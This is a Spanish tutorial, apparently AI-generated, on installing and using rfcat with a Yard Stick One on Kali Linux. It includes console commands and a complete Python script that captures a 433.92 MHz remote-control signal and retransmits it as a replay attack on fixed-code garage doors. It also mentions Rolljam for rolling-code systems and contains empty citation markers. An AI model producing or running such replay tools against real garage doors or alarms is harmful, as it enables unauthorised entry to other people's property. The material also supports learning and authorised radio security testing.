Interactuar con radiofrecuencias con rfcat
Interactuar con radiofrecuencias con rfcat
Rfcat es una herramienta excelente para interactuar con radiofrecuencias (RF) por debajo de 1 GHz (Sub-GHz), diseñada específicamente para ser utilizada con el hardware Yard Stick One o dispositivos basados en el chip CC1111 [cite: ].
Funciona como un entorno interactivo de Python que te permite escuchar, capturar, manipular y transmitir señales de radio (como mandos de garajes, alarmas viejas o sensores meteorológicos) [cite: ].
Aquí tienes una guía rápida en español para instalarlo y dar tus primeros pasos en Kali Linux.
1. Instalación en Kali Linux
Aunque a veces viene preinstalado en los repositorios de Kali, la forma más limpia de asegurarte de que tienes la última versión y sus dependencias es clonando su repositorio o usando pip [cite: ].
Ejecuta los siguientes comandos en tu terminal:
# Actualiza tu sistema e instala dependencias de Python y USB
sudo apt update
sudo apt install python3-pip libusb-1.0-0-dev python3-usb
# Instala rfcat usando pip
sudo pip3 install rfcat
Si prefieres la instalación manual desde el código fuente para tener las herramientas de firmware:
git clone https://github.com/atlas0fd00m/rfcat.git
cd rfcat
sudo python3 setup.py install
2. Configurar los permisos de USB
Para que Kali detecte tu Yard Stick One sin necesidad de ejecutar todo siempre como root (sudo), es buena idea configurar una regla de Udev:
sudo cp etc/udev/rules.d/20-rfcat.rules /etc/udev/rules.d/
sudo udevadm control --reload-rules
Nota: Desconecta y vuelve a conectar tu dispositivo USB después de esto.
3. Primeros pasos en la Consola Interactiva
Para iniciar el entorno interactivo de Rfcat, simplemente conecta tu hardware y escribe en la terminal:
rfcat -I
Esto abrirá una consola de Python (ipython) con el objeto d (de device) ya cargado para controlar tu radio [cite: ]. Aquí tienes los comandos esenciales en español para empezar a jugar:
Configurar la Frecuencia
Para sintonizar, por ejemplo, la frecuencia común de mandos a distancia (433.92 MHz), usamos el método .setFreq() en hercios [cite: ]:
d.setFreq(433920000)
Configurar la Modulación
La mayoría de los dispositivos sencillos usan modulación ASK/OOK (Amplitud) o FSK (Frecuencia). Para configurar ASK/OOK (muy común en portones):
d.setMdmModulation(MOD_ASK_OOK)
Configurar el Baudrate (Velocidad de datos)
Si conoces la velocidad a la que transmite el objetivo (por ejemplo, 4800 baudios):
d.setMdmDRate(4800)
Escuchar y Capturar Datos (Modo Recibir)
Para poner el dispositivo en modo escucha y ver qué está pasando en esa frecuencia [cite: ]:
d.RFlisten()
Para salir del modo escucha, presiona Ctrl + C.
Transmitir Datos
Si has capturado un paquete y quieres replicarlo (un ataque de Replay), puedes enviar bytes directamente:
d.RFxmit(b'\xAA\xBB\xCC\xDD')
⚠️ Nota de Seguridad y Legalidad: La experimentación con radiofrecuencias está sujeta a regulaciones locales (como la SETSI en España o la FCC en EE. UU.). Emitir en ciertas frecuencias sin licencia o interferir con señales ajenas (inhibidores) es ilegal. Asegúrate de hacer tus pruebas en entornos controlados o usando jaulas de Faraday virtuales (atenuadores).
Para realizar una captura y retransmisión (Replay Attack) con un dispositivo compatible con Rfcat (como el Yard Stick One), generalmente se automatiza el proceso mediante un script de Python en lugar de hacerlo línea a línea en la consola interactiva [cite: ].
Aquí tienes un ejemplo de script estructurado y explicado paso a paso. Este script configura la radio, escucha el espectro hasta capturar un paquete de datos y, tras una confirmación, lo vuelve a emitir [cite: ].
Script de Ejemplo: replay_ataque.py
#!/usr/bin/env python3
import time
import sys
from rflib import *
def main():
print("[*] Inicializando dispositivo Rfcat...")
try:
# Inicializa el primer dispositivo RF encontrado (Yard Stick One, etc.)
d = RfCat()
except Exception as e:
print(f"[-] Error al conectar con el dispositivo: {e}")
sys.exit(1)
# 1. Configuración de los parámetros de la radio
# La frecuencia típica de muchos mandos de garaje antiguos es 433.92 MHz
frecuencia = 433920000
print(f"[*] Configurando frecuencia a {frecuencia / 1000000} MHz")
d.setFreq(frecuencia)
# Configura la modulación ASK/OOK (muy común en sistemas de código fijo)
print("[*] Configurando modulación ASK/OOK")
d.setMdmModulation(MOD_ASK_OOK)
# Ajusta la velocidad de transmisión (Baud rate). 4800 es un estándar común
d.setMdmDRate(4800)
# Ajusta el ancho de banda del canal de recepción (Channel Bandwidth)
d.setMdmChanBW(200000)
# 2. Fase de Captura (Escucha)
print("\n[*] Poniendo la radio en modo ESCUCHA...")
print("[*] Presiona el botón del mando ahora. (Presiona Ctrl+C para cancelar)")
datos_capturados = None
try:
while True:
# Captura paquetes de la radio. Retorna una tupla: (datos, timestamp)
paquete, ts = d.RFrecv(timeout=1000)
# Si el paquete contiene datos y no es solo ruido vacío
if paquete and len(paquete) > 2:
# Convertimos a representación hexadecimal para que sea legible
hex_data = paquete.hex()
print(f"[+] ¡Señal detectada! Datos (HEX): {hex_data}")
datos_capturados = paquete
break # Salimos del bucle al capturar la primera señal válida
except KeyboardInterrupt:
print("\n[-] Captura cancelada por el usuario.")
sys.exit(0)
# 3. Fase de Retransmisión (Replay)
if datos_capturados:
input("\n[Presiona ENTER para retransmitir la señal capturada...]")
print("[*] Transmitiendo la señal...")
# Es común transmitir el paquete unas 3 o 5 veces seguidas
# para asegurarse de que el receptor lo capte correctamente.
for i in range(3):
print(f" -> Enviando ráfaga {i+1}...")
d.RFxmit(datos_capturados)
time.sleep(0.1) # Breve pausa entre ráfagas
print("[+] Retransmisión completada con éxito.")
else:
print("[-] No se capturaron datos válidos.")
if __name__ == "__main__":
main()
Cómo ejecutar el script
Guarda el código anterior en tu máquina Kali con el nombre
replay.py.Dale permisos de ejecución en la terminal:
Bashchmod +x replay.pyEjecútalo pasándole los permisos adecuados si no configuraste las reglas de udev previamente:
Bashsudo ./replay.py
💡 La realidad de los mandos modernos (Rolling Code):
Este ataque clásico de Replay funcionará de forma efectiva en mandos antiguos de código fijo (donde el mando siempre emite exactamente los mismos bytes al presionar el botón) [cite: ]. Sin embargo, la gran mayoría de puertas de garaje modernas utilizan tecnologías de código dinámico (Rolling Code) o KeeLoq. En esos sistemas, cada vez que presionas el botón, el código cambia mediante un algoritmo criptográfico; si capturas una señal y la retransmites, el receptor la rechazará porque ese código ya "caducó". Para vulnerar sistemas modernos se requieren técnicas más avanzadas como el Rolljam (bloqueo y captura reactiva).